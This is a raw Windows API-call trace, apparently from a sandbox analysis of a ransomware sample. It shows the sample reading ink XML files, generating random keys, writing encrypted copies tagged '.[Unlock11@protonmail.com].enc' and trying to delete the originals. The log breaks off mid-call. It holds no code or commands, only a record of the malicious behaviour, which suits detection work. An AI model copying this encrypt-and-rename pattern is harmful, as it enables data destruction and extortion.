GetCurrentThreadId () returned 0x9b0 [0122.696] GetLastError () returned 0x0 [0122.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0122.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc790 | out: hHeap=0x2ad0000) returned 1 [0122.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.696] GetLastError () returned 0x0 [0122.697] GetLastError () returned 0x0 [0122.697] GetCurrentThreadId () returned 0x9b0 [0122.697] GetLastError () returned 0x0 [0122.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.697] GetLastError () returned 0x0 [0122.697] GetLastError () returned 0x0 [0122.697] GetCurrentThreadId () returned 0x9b0 [0122.697] GetLastError () returned 0x0 [0122.697] GetLastError () returned 0x0 [0122.699] GetLastError () returned 0x0 [0122.699] GetCurrentThreadId () returned 0x9b0 [0122.699] GetLastError () returned 0x0 [0122.699] GetCurrentThreadId () returned 0x9b0 [0122.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0122.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x348) returned 0x33f3a78 [0122.699] GetLastError () returned 0x0 [0122.699] GetLastError () returned 0x0 [0122.699] GetLastError () returned 0x0 [0122.700] GetLastError () returned 0x0 [0122.700] GetCurrentThreadId () returned 0x9b0 [0122.700] GetLastError () returned 0x0 [0122.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3a78 | out: hHeap=0x2ad0000) returned 1 [0122.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.700] GetLastError () returned 0x0 [0122.700] GetLastError () returned 0x0 [0122.700] GetCurrentThreadId () returned 0x9b0 [0122.700] GetLastError () returned 0x0 [0122.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265248 | out: hHeap=0x2ad0000) returned 1 [0122.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8898 [0122.701] GetLastError () returned 0x0 [0122.701] GetLastError () returned 0x0 [0122.701] GetCurrentThreadId () returned 0x9b0 [0122.701] GetLastError () returned 0x0 [0122.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8898 | out: hHeap=0x2ad0000) returned 1 [0122.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.701] GetLastError () returned 0x0 [0122.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.702] CloseHandle (hObject=0x3ac) returned 1 [0122.702] GetLastError () returned 0x0 [0122.703] GetCurrentThreadId () returned 0x9b0 [0122.703] GetLastError () returned 0x0 [0122.703] GetLastError () returned 0x0 [0122.703] CloseHandle (hObject=0x39c) returned 1 [0122.703] GetLastError () returned 0x0 [0122.703] GetCurrentThreadId () returned 0x9b0 [0122.703] GetLastError () returned 0x0 [0122.703] GetLastError () returned 0x0 [0122.703] GetLastError () returned 0x0 [0122.703] GetLastError () returned 0x0 [0122.703] GetLastError () returned 0x0 [0122.704] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0 [0122.704] GetLastError () returned 0x5 [0122.704] GetCurrentThreadId () returned 0x9b0 [0122.704] GetLastError () returned 0x5 [0122.704] GetLastError () returned 0x5 [0122.704] GetLastError () returned 0x5 [0122.704] GetLastError () returned 0x5 [0122.704] LocalFree (hMem=0x1053a70) returned 0x0 [0122.704] GetCurrentThreadId () returned 0x9b0 [0122.705] GetLastError () returned 0x5 [0122.705] GetLastError () returned 0x5 [0122.705] GetLastError () returned 0x5 [0122.705] GetLastError () returned 0x5 [0122.705] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x9bada4*="base_kor.xml") returned 0x52 [0122.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.705] GetCurrentThreadId () returned 0x9b0 [0122.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0122.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0122.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0122.706] GetLastError () returned 0x0 [0122.706] GetLastError () returned 0x0 [0122.706] GetLastError () returned 0x0 [0122.706] GetLastError () returned 0x0 [0122.706] GetCurrentThreadId () returned 0x9b0 [0122.706] GetLastError () returned 0x0 [0122.706] GetCurrentThreadId () returned 0x9b0 [0122.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028378 | out: hHeap=0x2ad0000) returned 1 [0122.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028238 [0122.706] GetLastError () returned 0x0 [0122.706] GetLastError () returned 0x0 [0122.707] GetLastError () returned 0x0 [0122.707] GetLastError () returned 0x0 [0122.707] GetCurrentThreadId () returned 0x9b0 [0122.707] GetLastError () returned 0x0 [0122.707] GetLastError () returned 0x0 [0122.707] GetLastError () returned 0x0 [0122.707] GetLastError () returned 0x0 [0122.707] GetLastError () returned 0x0 [0122.707] GetCurrentThreadId () returned 0x9b0 [0122.707] GetLastError () returned 0x0 [0122.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0122.708] GetLastError () returned 0x0 [0122.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0122.708] GetLastError () returned 0x0 [0122.708] GetLastError () returned 0x0 [0122.708] GetLastError () returned 0x0 [0122.708] GetCurrentThreadId () returned 0x9b0 [0122.708] GetCurrentThreadId () returned 0x9b0 [0122.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aa28 [0122.708] GetCurrentThreadId () returned 0x9b0 [0122.708] GetCurrentThreadId () returned 0x9b0 [0122.709] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8)) returned 1 [0122.709] GetCurrentThreadId () returned 0x9b0 [0122.709] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0122.709] GetCurrentThreadId () returned 0x9b0 [0122.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0122.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0122.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0122.709] GetCurrentThreadId () returned 0x9b0 [0122.710] GetCurrentThreadId () returned 0x9b0 [0122.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028378 [0122.710] GetCurrentThreadId () returned 0x9b0 [0122.710] GetCurrentThreadId () returned 0x9b0 [0122.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3c68 | out: hHeap=0x2ad0000) returned 1 [0122.710] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.710] GetFileType (hFile=0x39c) returned 0x1 [0122.710] GetCurrentThreadId () returned 0x9b0 [0122.711] GetFileType (hFile=0x39c) returned 0x1 [0122.711] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.711] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.711] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.711] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.711] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.711] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.711] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.711] GetLastError () returned 0x0 [0122.711] GetCurrentThreadId () returned 0x9b0 [0122.711] GetLastError () returned 0x0 [0122.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0122.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0122.712] GetLastError () returned 0x0 [0122.712] GetLastError () returned 0x0 [0122.712] GetLastError () returned 0x0 [0122.712] GetLastError () returned 0x0 [0122.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b18 [0122.712] GetLastError () returned 0x0 [0122.712] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.713] GetFileType (hFile=0x3ac) returned 0x1 [0122.713] GetLastError () returned 0x0 [0122.713] GetCurrentThreadId () returned 0x9b0 [0122.713] GetLastError () returned 0x0 [0122.713] GetFileType (hFile=0x3ac) returned 0x1 [0122.713] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.713] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.713] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.713] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.713] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.713] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.713] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.714] GetLastError () returned 0x0 [0122.714] GetCurrentThreadId () returned 0x9b0 [0122.714] GetLastError () returned 0x0 [0122.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b18 | out: hHeap=0x2ad0000) returned 1 [0122.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc810 | out: hHeap=0x2ad0000) returned 1 [0122.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0122.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.714] GetLastError () returned 0x0 [0122.714] GetLastError () returned 0x0 [0122.714] GetCurrentThreadId () returned 0x9b0 [0122.714] GetLastError () returned 0x0 [0122.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.715] GetLastError () returned 0x0 [0122.715] GetLastError () returned 0x0 [0122.715] GetCurrentThreadId () returned 0x9b0 [0122.715] GetLastError () returned 0x0 [0122.715] GetLastError () returned 0x0 [0122.716] GetLastError () returned 0x0 [0122.717] GetCurrentThreadId () returned 0x9b0 [0122.717] GetLastError () returned 0x0 [0122.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x208) returned 0x2ba8828 [0122.717] GetCurrentThreadId () returned 0x9b0 [0122.717] GetLastError () returned 0x0 [0122.717] GetLastError () returned 0x0 [0122.717] GetLastError () returned 0x0 [0122.717] GetLastError () returned 0x0 [0122.717] GetCurrentThreadId () returned 0x9b0 [0122.718] GetLastError () returned 0x0 [0122.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8828 | out: hHeap=0x2ad0000) returned 1 [0122.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.718] GetLastError () returned 0x0 [0122.718] GetLastError () returned 0x0 [0122.718] GetCurrentThreadId () returned 0x9b0 [0122.718] GetLastError () returned 0x0 [0122.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8a50 | out: hHeap=0x2ad0000) returned 1 [0122.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8758 [0122.718] GetLastError () returned 0x0 [0122.719] GetLastError () returned 0x0 [0122.719] GetCurrentThreadId () returned 0x9b0 [0122.719] GetLastError () returned 0x0 [0122.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8758 | out: hHeap=0x2ad0000) returned 1 [0122.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.719] GetLastError () returned 0x0 [0122.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.720] CloseHandle (hObject=0x3ac) returned 1 [0122.720] GetLastError () returned 0x0 [0122.720] GetCurrentThreadId () returned 0x9b0 [0122.720] GetLastError () returned 0x0 [0122.721] GetLastError () returned 0x0 [0122.721] CloseHandle (hObject=0x39c) returned 1 [0122.721] GetLastError () returned 0x0 [0122.721] GetCurrentThreadId () returned 0x9b0 [0122.721] GetLastError () returned 0x0 [0122.721] GetLastError () returned 0x0 [0122.721] GetLastError () returned 0x0 [0122.721] GetLastError () returned 0x0 [0122.721] GetLastError () returned 0x0 [0122.721] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0 [0122.722] GetLastError () returned 0x5 [0122.722] GetCurrentThreadId () returned 0x9b0 [0122.722] GetLastError () returned 0x5 [0122.722] GetLastError () returned 0x5 [0122.722] GetLastError () returned 0x5 [0122.722] GetLastError () returned 0x5 [0122.722] LocalFree (hMem=0x1053c70) returned 0x0 [0122.722] GetLastError () returned 0x5 [0122.722] GetLastError () returned 0x5 [0122.722] GetLastError () returned 0x5 [0122.723] GetLastError () returned 0x5 [0122.723] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x9bada4*="base_rtl.xml") returned 0x52 [0122.723] GetCurrentThreadId () returned 0x9b0 [0122.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0122.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0122.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0122.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0122.723] GetCurrentThreadId () returned 0x9b0 [0122.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028260 [0122.723] GetLastError () returned 0x0 [0122.724] GetLastError () returned 0x0 [0122.724] GetLastError () returned 0x0 [0122.724] GetLastError () returned 0x0 [0122.724] GetCurrentThreadId () returned 0x9b0 [0122.724] GetLastError () returned 0x0 [0122.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0122.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028238 [0122.724] GetLastError () returned 0x0 [0122.724] GetLastError () returned 0x0 [0122.724] GetLastError () returned 0x0 [0122.724] GetLastError () returned 0x0 [0122.725] GetCurrentThreadId () returned 0x9b0 [0122.725] GetLastError () returned 0x0 [0122.725] GetCurrentThreadId () returned 0x9b0 [0122.725] GetLastError () returned 0x0 [0122.725] GetLastError () returned 0x0 [0122.725] GetLastError () returned 0x0 [0122.725] GetLastError () returned 0x0 [0122.725] GetCurrentThreadId () returned 0x9b0 [0122.725] GetLastError () returned 0x0 [0122.725] GetCurrentThreadId () returned 0x9b0 [0122.725] GetLastError () returned 0x0 [0122.726] GetCurrentThreadId () returned 0x9b0 [0122.726] GetLastError () returned 0x0 [0122.727] GetCurrentThreadId () returned 0x9b0 [0122.727] GetLastError () returned 0x0 [0122.727] GetCurrentThreadId () returned 0x9b0 [0122.727] GetLastError () returned 0x0 [0122.727] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269)) returned 1 [0122.727] GetLastError () returned 0x0 [0122.728] GetCurrentThreadId () returned 0x9b0 [0122.728] GetLastError () returned 0x0 [0122.728] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0122.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0122.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0122.728] GetCurrentThreadId () returned 0x9b0 [0122.728] GetCurrentThreadId () returned 0x9b0 [0122.728] GetLastError () returned 0x0 [0122.728] GetCurrentThreadId () returned 0x9b0 [0122.728] GetLastError () returned 0x0 [0122.728] GetCurrentThreadId () returned 0x9b0 [0122.729] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.729] GetFileType (hFile=0x39c) returned 0x1 [0122.729] GetCurrentThreadId () returned 0x9b0 [0122.729] GetLastError () returned 0x0 [0122.729] GetFileType (hFile=0x39c) returned 0x1 [0122.729] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.729] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.729] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.729] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.730] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.730] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.730] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.730] GetLastError () returned 0x0 [0122.730] GetCurrentThreadId () returned 0x9b0 [0122.730] GetLastError () returned 0x0 [0122.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0122.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa28b8 | out: hHeap=0x2ad0000) returned 1 [0122.730] GetLastError () returned 0x0 [0122.730] GetLastError () returned 0x0 [0122.730] GetLastError () returned 0x0 [0122.730] GetLastError () returned 0x0 [0122.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69c8 [0122.731] GetLastError () returned 0x0 [0122.731] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.731] GetFileType (hFile=0x3ac) returned 0x1 [0122.731] GetLastError () returned 0x0 [0122.731] GetCurrentThreadId () returned 0x9b0 [0122.731] GetLastError () returned 0x0 [0122.731] GetFileType (hFile=0x3ac) returned 0x1 [0122.732] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.732] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.732] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.732] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.732] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.732] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.732] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.732] GetLastError () returned 0x0 [0122.732] GetCurrentThreadId () returned 0x9b0 [0122.732] GetLastError () returned 0x0 [0122.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69c8 | out: hHeap=0x2ad0000) returned 1 [0122.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc610 | out: hHeap=0x2ad0000) returned 1 [0122.733] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0122.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0122.733] GetLastError () returned 0x0 [0122.733] GetLastError () returned 0x0 [0122.733] GetCurrentThreadId () returned 0x9b0 [0122.733] GetLastError () returned 0x0 [0122.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0122.733] GetLastError () returned 0x0 [0122.733] GetLastError () returned 0x0 [0122.733] GetCurrentThreadId () returned 0x9b0 [0122.733] GetLastError () returned 0x0 [0122.734] GetLastError () returned 0x0 [0122.735] GetLastError () returned 0x0 [0122.735] GetCurrentThreadId () returned 0x9b0 [0122.735] GetLastError () returned 0x0 [0122.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x288) returned 0x2a8c420 [0122.736] GetCurrentThreadId () returned 0x9b0 [0122.736] GetLastError () returned 0x0 [0122.736] GetLastError () returned 0x0 [0122.736] GetLastError () returned 0x0 [0122.736] GetLastError () returned 0x0 [0122.736] GetCurrentThreadId () returned 0x9b0 [0122.736] GetLastError () returned 0x0 [0122.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8c420 | out: hHeap=0x2ad0000) returned 1 [0122.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0122.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.737] GetLastError () returned 0x0 [0122.737] GetLastError () returned 0x0 [0122.737] GetCurrentThreadId () returned 0x9b0 [0122.737] GetLastError () returned 0x0 [0122.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8bed0 | out: hHeap=0x2ad0000) returned 1 [0122.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f87d8 [0122.737] GetLastError () returned 0x0 [0122.737] GetLastError () returned 0x0 [0122.737] GetCurrentThreadId () returned 0x9b0 [0122.738] GetLastError () returned 0x0 [0122.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f87d8 | out: hHeap=0x2ad0000) returned 1 [0122.738] HeapFree (in: 